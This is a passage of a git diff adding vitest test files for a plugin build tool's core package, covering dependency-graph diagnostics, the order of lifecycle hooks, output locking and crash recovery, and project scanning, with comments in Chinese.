artifact = await registry.emitArtifact('extension:hooks', bytesArtifact('hooks/run.mjs', 'run')); + expect(artifact.owner).toBe('extension:hooks'); + expect(registry.artifacts.map(item => item.path)).toEqual(['hooks/run.mjs', 'README.md']); + }); + + it('preserves the explicit empty-document emission policy in frozen snapshots', () => { + /** 可由 Platform 在空对象状态省略的配置 Document。 */ + const optional: DraftDocument = { + id: 'optional-config', + path: 'optional.json', + format: 'json', + owner: 'platform:test-platform', + value: {}, + emission: 'omit-if-empty', + extensionPoints: [['mcp']], + }; + /** 接管可选文档后的 Registry。 */ + const registry = new DocumentRegistry(TEST_PLATFORM, [optional]); + + expect(registry.snapshot()).toEqual([expect.objectContaining({ emission: 'omit-if-empty', value: {} })]); + }); +}); diff --git a/packages/core/test/graph.test.ts b/packages/core/test/graph.test.ts new file mode 100644 index 0000000..3d92069 --- /dev/null +++ b/packages/core/test/graph.test.ts @@ -0,0 +1,138 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + definePlatform, + DiagnosticCollector, + resolveConfig, + scanProject, + type AcpluginPlatform, +} from '../src/index.js'; + +/** 每个依赖图测试创建并在 afterEach 中清理的临时工程。 */ +const temporaryDirectories: string[] = []; + +/** + * 创建依赖图测试所需的最小默认 Platform。 + * + * @param id 测试 Platform ID。 + * @returns 品牌化 Platform 实例。 + */ +function testPlatform(id: string): AcpluginPlatform { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + /** 图测试不执行 Draft 准备。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 图测试不生成真实交付单元。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 图测试不物化候选目录。 */ + validateBundle: () => undefined, + }); +} + +/** 解析最终配置时模拟主包提供的默认 Platform。 */ +const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; + +/** + * 创建具有 commands、skills 和 agents 目录的临时工程。 + * + * @returns 临时工程绝对路径。 + */ +async function temporaryProject(): Promise { + /** 当前图测试独占的临时目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-graph-test-')); + temporaryDirectories.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + return root; +} + +/** + * 写入一个最小 Skill Component。 + * + * @param root 工程根目录。 + * @param id Skill ID。 + * @param requires 插入 Frontmatter 的依赖 YAML。 + */ +async function writeSkill(root: string, id: string, requires = ''): Promise { + await fs.mkdir(path.join(root, 'src/skills', id), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills', id, 'SKILL.md'), `--- +description: Skill ${id}. +${requires}--- +Skill ${id} body. +`); +} + +/** + * 扫描依赖图测试工程并返回稳定诊断。 + * + * @param root 工程根目录。 + * @returns Scanner 生成的全部诊断。 + */ +async function graphDiagnostics(root: string): Promise { + /** 图测试使用的最终配置。 */ + const resolved = resolveConfig({ + name: 'graph-fixture', + version: '1.0.0', + description: 'Graph fixture.', + }, path.join(root, 'acplugin.config.ts'), 'validate', 'production', { defaultPlatforms }); + /** 当前扫描独占的诊断收集器。 */ + const diagnostics = new DiagnosticCollector(); + await scanProject(resolved.config!, diagnostics); + return diagnostics.diagnostics; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('Component dependency graph', () => { + it('rejects missing, duplicate, malformed, and self references', async () => { + /** 包含四类依赖声明错误的临时工程。 */ + const root = await temporaryProject(); + await writeSkill(root, 'base'); + await writeSkill(root, 'broken', `requires: + skills: [base, base, missing, Invalid, broken] +`); + + /** 图结构校验产生的诊断码。 */ + const diagnostics = await graphDiagnostics(root); + /** 便于验证四类错误均出现的诊断码列表。 */ + const codes = diagnostics.map(diagnostic => diagnostic.code); + expect(codes).toEqual(expect.arrayContaining([ + 'COMPONENT_REQUIRES_DUPLICATE', + 'COMPONENT_REQUIRES_ID_INVALID', + 'COMPONENT_DEPENDENCY_MISSING', + 'COMPONENT_DEPENDENCY_SELF', + ])); + }); + + it('reports the complete deterministic path for a dependency cycle', async () => { + /** 形成 a → b → c → a 的三节点环。 */ + const root = await temporaryProject(); + await writeSkill(root, 'a', 'requires:\n skills: [b]\n'); + await writeSkill(root, 'b', 'requires:\n skills: [c]\n'); + await writeSkill(root, 'c', 'requires:\n skills: [a]\n'); + + /** 唯一的完整环路诊断。 */ + const diagnostics = await graphDiagnostics(root); + /** 从全部诊断中筛出的依赖环条目。 */ + const cycles = diagnostics.filter(diagnostic => diagnostic.code === 'COMPONENT_DEPENDENCY_CYCLE'); + expect(cycles).toHaveLength(1); + expect(cycles[0]?.message).toContain('skill:a -> skill:b -> skill:c -> skill:a'); + }); + + it('allows Command to depend on Skills and Agents without making Command requireable', async () => { + /** 合法 Command → Skill → Agent 有向无环图。 */ + const root = await temporaryProject(); + await writeSkill(root, 'review', 'requires:\n agents: [reviewer]\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Reviewer.\n---\nReview.\n'); + await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check.\nrequires:\n skills: [review]\n agents: [reviewer]\n---\nCheck.\n'); + + expect(await graphDiagnostics(root)).toEqual([]); + }); +}); diff --git a/packages/core/test/lifecycle.test.ts b/packages/core/test/lifecycle.test.ts new file mode 100644 index 0000000..6ac73d1 --- /dev/null +++ b/packages/core/test/lifecycle.test.ts @@ -0,0 +1,512 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + bytesArtifact, + defineExtension, + definePlatform, + executeLifecycle, + resolveConfig, + stableJson, + type AcpluginExtension, + type AcpluginPlatform, + type BuildCommand, + type ResolvedConfig, +} from '../src/index.js'; + +/** 生命周期测试创建并统一清理的临时工程。 */ +const temporaryDirectories: string[] = []; + +/** @returns 已登记清理的临时工程根。 */ +async function temporaryRoot(): Promise { + /** 当前测试独占的临时工程。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-lifecycle-test-')); + temporaryDirectories.push(root); + return root; +} + +/** + * 创建能够完整透传 Draft 并序列化 Manifest 的虚拟 Platform。 + * + * @param id 虚拟 Platform ID。 + * @param events 生命周期顺序记录。 + * @param failPrepare 是否在 prepare 阶段注入失败。 + * @returns 第三方生态可实现的品牌化 Platform。 + */ +function virtualPlatform( + id: string, + events: string[], + failPrepare = false, +): AcpluginPlatform { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + options: { fixture: { id } }, + /** configResolved 记录虚拟 Platform 的配置阶段。 */ + configResolved() { events.push(`${id}:config`); }, + /** buildStart 验证最小 Context 并记录启动阶段。 */ + buildStart(context) { + events.push(`${id}:start`); + expect('outDir' in context).toBe(false); + }, + /** prepare 创建带一个 add-only 扩展点的 Manifest Draft。 */ + prepare(context) { + events.push(`${id}:prepare`); + expect('extensions' in context).toBe(false); + expect(context.options).toEqual({ fixture: { id } }); + expect(Object.isFrozen(context.options)).toBe(true); + context.reportMetadata({ + field: 'name', + disposition: 'emitted', + output: 'manifest.name', + reason: 'Virtual Platform emits the canonical name.', + }); + if (failPrepare) + throw new Error('virtual prepare failure'); + return { + documents: [{ + id: 'manifest', + path: 'manifest.json', + format: 'json', + owner: `platform:${id}`, + value: { name: context.project.metadata.name, extensions: {} }, + extensionPoints: [['extensions', 'bridge']], + }], + artifacts: [], + }; + }, + /** generateBundle 序列化合并后的 Manifest 与继承 Artifact。 */ + generateBundle(context) { + events.push(`${id}:generate`); + /** Platform 序列化的当前 owner-merged Manifest。 */ + const manifest = context.documents.find(document => document.id === 'manifest')!; + return { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + bytesArtifact(manifest.path, stableJson(manifest.value)), + ], + }; + }, + /** validateBundle 从物化候选读取并验证最终 Manifest。 */ + async validateBundle(context) { + events.push(`${id}:validate-bundle`); + expect(await fs.readFile(path.join(context.candidate.root, 'manifest.json'), 'utf8')).toContain('lifecycle-fixture'); + }, + /** buildEnd 记录成功或失败状态用于验证逆序清理。 */ + buildEnd(context) { + events.push(`${id}:end:${context.status}`); + }, + }); +} + +/** + * 创建拥有一个 Platform Adapter 的虚拟 Extension。 + * + * @param name Extension 名称。 + * @param platform Adapter 支持的 Platform。 + * @param events 生命周期顺序记录。 + * @param workDirs Extension Context 暴露的隔离目录记录。 + * @param empty discover 是否返回无资源信号。 + * @returns 品牌化第三方 Extension。 + */ +function virtualExtension( + name: string, + platform: AcpluginPlatform, + events: string[], + workDirs: string[], + empty = false, +): AcpluginExtension { + return defineExtension({ + name, + apiVersion: '1', + adapters: empty + ? [] + : [{ + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '1', + /** apply 通过 add-only Context 提交字段、Artifact 与兼容性。 */ + apply(context, built) { + events.push(`${name}:adapter:${context.platform.id}`); + expect(Object.keys(context).sort()).toEqual([ + 'command', 'emitArtifact', 'getDocument', 'mode', 'patchDocument', 'platform', 'project', + 'reportCompatibility', 'reportDiagnostic', + ]); + context.patchDocument({ document: 'manifest', path: ['extensions', 'bridge'], value: built as never }); + context.emitArtifact(bytesArtifact('extensions/bridge.txt', 'bridge')); + context.reportCompatibility({ + subject: `extension:${name}`, + capability: 'bridge', + level: 'native', + reason: 'Virtual Adapter preserves the fixture.', + }); + }, + }], + /** configResolved 记录虚拟 Extension 的配置阶段。 */ + configResolved() { events.push(`${name}:config`); }, + /** buildStart 验证 Extension workDir 与最小 Context。 */ + buildStart(context) { + events.push(`${name}:start`); + workDirs.push(context.workDir); + expect('outDir' in context).toBe(false); + }, + /** discover 返回有资源状态或明确的空 Extension 信号。 */ + discover(context) { + events.push(`${name}:discover`); + expect(Object.keys(context).sort()).toEqual([ + 'command', 'loadTypeScriptModule', 'mode', 'reportDiagnostic', 'srcDir', 'workDir', + ]); + return empty ? undefined : { count: 1 }; + }, + /** validate 记录发现状态是否包含资源。 */ + validate(_context, discovered) { + events.push(`${name}:validate:${discovered === undefined ? 'empty' : 'resource'}`); + }, + /** build 把发现状态转换为 Adapter 可见的 Built State。 */ + build(_context, discovered) { + events.push(`${name}:build`); + return discovered === undefined ? undefined : { enabled: true }; + }, + /** buildEnd 记录 Extension 最终清理状态。 */ + buildEnd(context) { + events.push(`${name}:end:${context.status}`); + }, + }); +} + +/** + * 解析虚拟生态测试使用的最终配置。 + * + * @param root 工程根目录。 + * @param command 当前固定生命周期命令。 + * @param platforms 配置顺序 Platform。 + * @param extensions 配置顺序 Extension。 + * @param strict 全局严格度。 + * @returns 无配置诊断的 ResolvedConfig。 + */ +function lifecycleConfig( + root: string, + command: BuildCommand, + platforms: readonly AcpluginPlatform[], + extensions: readonly AcpluginExtension[], + strict = true, +): ResolvedConfig { + /** 虚拟生态的最终配置解析结果。 */ + const resolved = resolveConfig({ + name: 'lifecycle-fixture', + version: '1.0.0', + description: 'Lifecycle fixture.', + platforms, + extensions, + build: { strict }, + }, path.join(root, 'acplugin.config.ts'), command, 'production', { defaultPlatforms: platforms }); + expect(resolved.diagnostics).toEqual([]); + return resolved.config!; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('fixed Core lifecycle', () => { + it('allows a Platform to omit an empty optional Document but requires it after an Adapter patch', async () => { + /** 记录 Platform 是否观察到 Extension 合并结果。 */ + const serializedValues: unknown[] = []; + /** 使用 omit-if-empty 契约的虚拟 workspace Platform。 */ + const platform = definePlatform({ + id: 'optional-document', + apiVersion: '1', + deliveryType: 'workspace', + /** 空配置只为 Extension 保留 add-only 扩展点。 */ + prepare: () => ({ + documents: [{ + id: 'workspace-config', path: 'workspace.json', format: 'json', owner: 'platform:optional-document', + value: {}, emission: 'omit-if-empty', extensionPoints: [['mcp']], + }], + artifacts: [], + }), + /** 非空配置才序列化,复现 workspace Platform 的按需配置。 */ + generateBundle(context) { + /** 当前 Adapter 合并后的配置对象。 */ + const value = context.documents[0]!.value; + serializedValues.push(value); + return { + id: 'workspace', role: 'primary', type: 'workspace', + artifacts: Object.keys(value as object).length === 0 ? [] : [bytesArtifact('workspace.json', stableJson(value))], + }; + }, + /** 候选只验证配置存在性由 Core 控制。 */ + validateBundle: () => undefined, + }); + /** 空工程用于隔离 Document emission 行为。 */ + const root = await temporaryRoot(); + await fs.mkdir(path.join(root, 'src')); + /** 没有 Extension patch 的空配置构建结果。 */ + const empty = await executeLifecycle({ + config: lifecycleConfig(root, 'build', [platform], []), + /** 当前空状态 Fixture 不需要加载作者 descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** 通过 add-only patch 让同一可选 Document 变为必需的 Extension。 */ + const extension = defineExtension({ + name: 'optional-document-extension', + apiVersion: '1', + /** 非空发现状态用于激活当前测试 Extension。 */ + discover: () => ({ enabled: true }), + adapters: [{ + extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', + /** apply 新增 mcp 字段,使 Core 必须观察到对应序列化文件。 */ + apply(context) { + context.patchDocument({ document: 'workspace-config', path: ['mcp'], value: { docs: true } }); + }, + }], + }); + /** 第二个工程避免第一次事务输出影响断言。 */ + const patchedRoot = await temporaryRoot(); + await fs.mkdir(path.join(patchedRoot, 'src')); + /** 合并 Extension 后必须物化配置的构建结果。 */ + const patched = await executeLifecycle({ + config: lifecycleConfig(patchedRoot, 'build', [platform], [extension]), + /** 当前 add-only patch Fixture 不需要加载作者 descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(empty.success).toBe(true); + expect(empty.deliveryUnits[0]?.artifacts).toEqual([]); + expect(patched.success).toBe(true); + expect(patched.deliveryUnits[0]?.artifacts).toEqual([expect.objectContaining({ path: 'workspace.json' })]); + expect(serializedValues).toEqual([{}, { mcp: { docs: true } }]); + }); + + it('runs virtual Platform, Extension, and Adapter hooks in deterministic order with minimal contexts', async () => { + /** 全生命周期事件顺序。 */ + const events: string[] = []; + /** Extension 获得且不得彼此共享的临时目录。 */ + const workDirs: string[] = []; + /** 两个平台验证跨 Platform 串行顺序。 */ + const first = virtualPlatform('virtual-one', events); + /** 第二个虚拟 Platform 用于验证隔离和配置顺序。 */ + const second = virtualPlatform('virtual-two', events); + /** 有资源 Extension 只适配第一个 Platform。 */ + const bridge = virtualExtension('virtual-bridge', first, events, workDirs); + /** 空 Extension 不需要任何 Adapter。 */ + const empty = virtualExtension('virtual-empty', first, events, workDirs, true); + /** 带一个 Public 文件的规范工程。 */ + const root = await temporaryRoot(); + await fs.mkdir(path.join(root, 'public'), { recursive: true }); + await fs.writeFile(path.join(root, 'public/shared.txt'), 'public'); + + /** 第二个平台使用 relaxed 避免缺失 Bridge Adapter 阻止虚拟构建。 */ + const relaxedSecond = definePlatform({ ...second, strict: false }); + /** 完整虚拟生态执行后的生命周期结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [first, relaxedSecond], [bridge, empty]), + /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(true); + expect(result.committed).toBe(false); + expect(result.deliveryUnits).toHaveLength(2); + expect(result.deliveryUnits.find(unit => unit.platform === 'virtual-one')?.artifacts).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'extensions/bridge.txt', owner: 'extension:virtual-bridge' }), + expect.objectContaining({ path: 'shared.txt', owner: 'public' }), + expect.objectContaining({ path: 'manifest.json', owner: 'platform:virtual-one' }), + ])); + expect(result.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ platform: 'virtual-one', level: 'native' }), + expect.objectContaining({ platform: 'virtual-two', level: 'unsupported' }), + ])); + expect(result.metadata).toEqual([ + expect.objectContaining({ platform: 'virtual-one', field: 'name', disposition: 'emitted' }), + expect.objectContaining({ platform: 'virtual-two', field: 'name', disposition: 'emitted' }), + ]); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_RELAXED', platform: 'virtual-two', severity: 'warning', + })); + expect(result.compatibility.some(entry => entry.subject === 'extension:virtual-empty')).toBe(false); + expect(workDirs).toHaveLength(2); + expect(new Set(workDirs).size).toBe(2); + /** workDir 表示当前验证已被 finally 清理的 Extension 临时目录。 */ + for (const workDir of workDirs) + await expect(fs.access(workDir)).rejects.toThrow(); + expect(events).toEqual([ + 'virtual-one:config', 'virtual-two:config', 'virtual-bridge:config', 'virtual-empty:config', + 'virtual-one:start', 'virtual-two:start', 'virtual-bridge:start', 'virtual-empty:start', + 'virtual-bridge:discover', 'virtual-empty:discover', + 'virtual-bridge:validate:resource', 'virtual-empty:validate:empty', + 'virtual-bridge:build', 'virtual-empty:build', + 'virtual-one:prepare', 'virtual-bridge:adapter:virtual-one', 'virtual-one:generate', 'virtual-one:validate-bundle', + 'virtual-two:prepare', 'virtual-two:generate', 'virtual-two:validate-bundle', + 'virtual-empty:end:success', 'virtual-bridge:end:success', 'virtual-two:end:success', 'virtual-one:end:success', + ]); + }); + + it('continues later Platforms after failure and appends cleanup errors without replacing it', async () => { + /** 故障隔离与逆序清理事件。 */ + const events: string[] = []; + /** prepare 会失败的第一个 Platform。 */ + const broken = virtualPlatform('broken-platform', events, true); + /** 仍应完整生成和验证的后续 Platform。 */ + const healthy = virtualPlatform('healthy-platform', events); + /** buildEnd 失败的空 Extension。 */ + const cleanup = defineExtension({ + name: 'cleanup-failure', + apiVersion: '1', + adapters: [], + /** discover 返回空资源,避免 Adapter 兼容性干扰清理测试。 */ + discover: () => undefined, + /** buildEnd 主动抛错以验证首错优先和逆序清理。 */ + buildEnd() { + events.push('cleanup-failure:end'); + throw new Error('cleanup failure'); + }, + }); + /** 不需要 Component 的空规范工程。 */ + const root = await temporaryRoot(); + + /** 同时包含 prepare 与 cleanup 失败的生命周期结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [broken, healthy], [cleanup]), + /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(events).toContain('healthy-platform:validate-bundle'); + expect(events.slice(-3)).toEqual([ + 'cleanup-failure:end', + 'healthy-platform:end:failed', + 'broken-platform:end:failed', + ]); + expect(result.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'broken-platform' }), + expect.objectContaining({ code: 'EXTENSION_BUILD_END_FAILED', extension: 'cleanup-failure' }), + ])); + }); + + it('treats resources without an Adapter as strict unsupported and emits no unit', async () => { + /** 严格 Platform 和无 Adapter Extension。 */ + const events: string[] = []; + /** 严格模式下不得接受 unsupported Extension 的 Platform。 */ + const strictPlatform = virtualPlatform('strict-platform', events); + /** discover 有资源但未声明任何 Adapter 的 Extension。 */ + const unsupported = defineExtension({ + name: 'unsupported-extension', + apiVersion: '1', + adapters: [], + /** discover 返回资源以触发缺失 Adapter 的兼容性结论。 */ + discover: () => ({ count: 1 }), + }); + /** 无其他结构错误的工程。 */ + const root = await temporaryRoot(); + + /** 严格模式下预期不生成任何单元的生命周期结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [strictPlatform], [unsupported]), + /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(false); + expect(result.deliveryUnits).toEqual([]); + expect(result.compatibility).toContainEqual(expect.objectContaining({ level: 'unsupported', platform: 'strict-platform' })); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + }); + + it('authorizes scanned Component files relative to project.root instead of process.cwd()', async () => { + /** 与测试进程 cwd 不同且包含一个规范 Command 的工程根。 */ + const root = await temporaryRoot(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check changes.\n---\nCheck changes.\n'); + /** 将 Scanner 相对 sourcePath 解析为真实文件 Artifact 的虚拟 Platform。 */ + const platform = definePlatform({ + id: 'scanned-source', + apiVersion: '1', + deliveryType: 'plugin', + /** prepare 把 Scanner 相对路径解析为真实工程文件来源。 */ + prepare(context) { + /** Scanner 返回的工程相对 Command 来源路径。 */ + const sourcePath = context.project.commands[0]!.sourcePath; + return { + documents: [], + artifacts: [{ + path: 'commands/check.md', + source: { type: 'file', path: path.resolve(context.project.root, sourcePath) }, + }], + }; + }, + /** generateBundle 透传已完成 owner 校验的扫描文件 Artifact。 */ + generateBundle(context) { + return { id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts }; + }, + /** validateBundle 接受成功物化的扫描来源候选。 */ + validateBundle: () => undefined, + }); + + /** 在非进程 cwd 工程上执行完整生命周期的结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [platform], []), + /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(true); + expect(result.deliveryUnits[0]?.artifacts).toContainEqual(expect.objectContaining({ + path: 'commands/check.md', owner: 'platform:scanned-source', + })); + }); + + it('preserves primary Artifact metadata through the Distribution lifecycle', async () => { + /** 同时生成主 Plugin 和 Marketplace Distribution 的虚拟 Platform。 */ + const platform = definePlatform({ + id: 'distribution-platform', + apiVersion: '1', + deliveryType: 'plugin', + /** prepare 为当前 Distribution 测试创建空 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 创建带可执行 Artifact 的主单元。 */ + generateBundle: () => ({ + id: 'plugin', role: 'primary', type: 'plugin', + artifacts: [{ ...bytesArtifact('bin/runner', 'run'), mode: 0o755 }], + }), + /** validateBundle 同时接受主单元和 Distribution 候选。 */ + validateBundle: () => undefined, + /** generateDistributions 复用主单元 Artifact 创建 Marketplace。 */ + generateDistributions(_context, primaryUnits) { + return [{ + id: 'marketplace', role: 'distribution', type: 'marketplace', + artifacts: primaryUnits[0]!.artifacts, + }]; + }, + }); + /** 空工程上的双 DeliveryUnit 生命周期结果。 */ + const root = await temporaryRoot(); + /** 用于对比主单元与 Distribution 元数据的构建报告。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [platform], []), + /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** 主 Plugin 单元的唯一 Artifact 报告。 */ + const primary = result.deliveryUnits.find(unit => unit.role === 'primary')!.artifacts[0]!; + /** Marketplace Distribution 复用后的唯一 Artifact 报告。 */ + const distribution = result.deliveryUnits.find(unit => unit.role === 'distribution')!.artifacts[0]!; + + expect(result.success).toBe(true); + expect(distribution).toEqual(primary); + }); +}); diff --git a/packages/core/test/locking.test.ts b/packages/core/test/locking.test.ts new file mode 100644 index 0000000..9da7750 --- /dev/null +++ b/packages/core/test/locking.test.ts @@ -0,0 +1,104 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { commitDeliveryUnits, type ManagedOutputPhase } from '../src/index.js'; + +/** 锁与崩溃恢复测试创建并统一清理的临时工程。 */ +const temporaryDirectories: string[] = []; + +/** @returns 已登记清理的临时工程根。 */ +async function temporaryRoot(): Promise { + /** 当前测试独占的临时目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-locking-test-')); + temporaryDirectories.push(root); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('managed output locking and recovery', () => { + it('rejects a concurrent writer while the first process holds the lock', async () => { + /** 两个 writer 竞争的受管输出工程。 */ + const root = await temporaryRoot(); + /** 两个事务共同竞争锁的输出目录。 */ + const outDir = path.join(root, 'dist'); + /** 第一事务取得锁后通知测试的 resolver。 */ + let notifyLocked!: () => void; + /** 测试允许第一事务继续执行的 resolver。 */ + let releaseLock!: () => void; + /** 确认第一事务已经持锁的同步 Promise。 */ + const locked = new Promise((resolve) => { + notifyLocked = resolve; + }); + /** 第一事务在 lock-acquired 阶段等待的门闩。 */ + const gate = new Promise((resolve) => { + releaseLock = resolve; + }); + /** 持锁但尚未进入 recovery 的第一事务。 */ + const first = commitDeliveryUnits(outDir, [], { + projectRoot: root, + /** onPhase 在取得锁后暂停第一事务,供第二事务验证互斥。 */ + async onPhase(phase: ManagedOutputPhase): Promise { + if (phase === 'lock-acquired') { + notifyLocked(); + await gate; + } + }, + }); + await locked; + + await expect(commitDeliveryUnits(outDir, [], { projectRoot: root })).rejects.toThrow('locked'); + releaseLock(); + await first; + expect((await fs.readdir(root)).filter(name => name.endsWith('.acplugin.lock'))).toEqual([]); + }); + + it('recovers backup state and removes stale stages before starting a new transaction', async () => { + /** 模拟进程在旧输出备份后退出的工程。 */ + const root = await temporaryRoot(); + /** 恢复后应重新出现的正式输出目录。 */ + const outDir = path.join(root, 'dist'); + /** 模拟崩溃时保留完整旧输出的备份目录。 */ + const backup = path.join(root, '.dist.acplugin-backup'); + /** 恢复阶段必须清理的不完整 Stage。 */ + const staleStage = path.join(root, '.dist.acplugin-stage-crashed'); + /** 描述崩溃事务状态的记录文件。 */ + const transaction = path.join(root, '.dist.acplugin-transaction.json'); + await fs.mkdir(backup, { recursive: true }); + await fs.writeFile(path.join(backup, 'old.txt'), 'old'); + await fs.mkdir(staleStage, { recursive: true }); + await fs.writeFile(path.join(staleStage, 'partial.txt'), 'partial'); + await fs.writeFile(transaction, '{"schemaVersion":1}\n'); + + await expect(commitDeliveryUnits(outDir, [], { + projectRoot: root, + /** onPhase 在恢复完成后停止新事务,便于观察恢复结果。 */ + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after recovery'); + }, + })).rejects.toThrow('stop after recovery'); + + expect(await fs.readFile(path.join(outDir, 'old.txt'), 'utf8')).toBe('old'); + await expect(fs.access(staleStage)).rejects.toThrow(); + await expect(fs.access(transaction)).rejects.toThrow(); + }); + + it('removes a lock owned by a dead process and completes the commit', async () => { + /** 带死进程锁记录的受管输出工程。 */ + const root = await temporaryRoot(); + /** 死锁清理后应完成提交的输出目录。 */ + const outDir = path.join(root, 'dist'); + /** 指向不存在进程的陈旧锁文件。 */ + const lock = path.join(root, '.dist.acplugin.lock'); + await fs.writeFile(lock, `${JSON.stringify({ schemaVersion: 1, pid: 99_999_999 })}\n`); + + await commitDeliveryUnits(outDir, [], { projectRoot: root }); + + expect(await fs.readdir(outDir)).toEqual([]); + await expect(fs.access(lock)).rejects.toThrow(); + }); +}); diff --git a/packages/core/test/scanner.test.ts b/packages/core/test/scanner.test.ts new file mode 100644 index 0000000..1acea94 --- /dev/null +++ b/packages/core/test/scanner.test.ts @@ -0,0 +1,319 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + defineExtension, + definePlatform, + DiagnosticCollector, + resolveConfig, + scanProject, + type AcpluginPlatform, + type PlatformComponentValidationContext, + type UserConfig, +} from '../src/index.js'; + +/** 每个 Scanner 测试创建并在 afterEach 中删除的临时工程。 */ +const temporaryDirectories: string[] = []; + +/** + * 创建带可选 Component 字段校验器的最小测试 Platform。 + * + * @param id 开放的测试 Platform ID。 + * @param validateComponentFields 可选的 Platform 专属字段校验器。 + * @returns 带 Core 私有品牌的最小 Platform。 + */ +function testPlatform( + id: string, + validateComponentFields?: (context: PlatformComponentValidationContext) => void, +): AcpluginPlatform { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + ...(validateComponentFields === undefined ? {} : { validateComponentFields }), + /** Scanner 测试不会执行 Platform Draft 阶段。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** Scanner 测试不会执行 Platform 产物生成。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** Scanner 测试不会物化候选目录。 */ + validateBundle: () => undefined, + }); +} + +/** Core Scanner 测试模拟主包注入的两个默认 Platform。 */ +const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; + +/** + * 创建并登记一个 Scanner 临时工程。 + * + * @returns 临时工程绝对路径。 + */ +async function temporaryProject(): Promise { + /** 当前测试独占的临时目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-scanner-test-')); + temporaryDirectories.push(root); + return root; +} + +/** + * 解析 Scanner 测试使用的最终配置。 + * + * @param root 临时工程根目录。 + * @param input 需要覆盖默认元数据的用户配置。 + * @param platforms 主包负责注入的默认 Platform。 + * @returns 无配置错误的最终 ResolvedConfig。 + */ +function projectConfig( + root: string, + input: Partial = {}, + platforms: readonly AcpluginPlatform[] = defaultPlatforms, +): NonNullable['config']> { + /** 测试工程的完整用户配置。 */ + const value: UserConfig = { + name: 'scanner-fixture', + version: '1.0.0', + description: 'Scanner fixture.', + ...input, + }; + /** Core 配置解析结果。 */ + const resolved = resolveConfig(value, path.join(root, 'acplugin.config.ts'), 'validate', 'production', { + defaultPlatforms: platforms, + }); + expect(resolved.diagnostics).toEqual([]); + return resolved.config!; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('canonical Scanner', () => { + it('creates a stable platform-neutral project and preserves binary file sources and modes', async () => { + /** Platform Validator 实际收到的不可变 Component 字段。 */ + const validated: unknown[] = []; + /** 对 model 字段执行最小 Schema 校验的 Codex 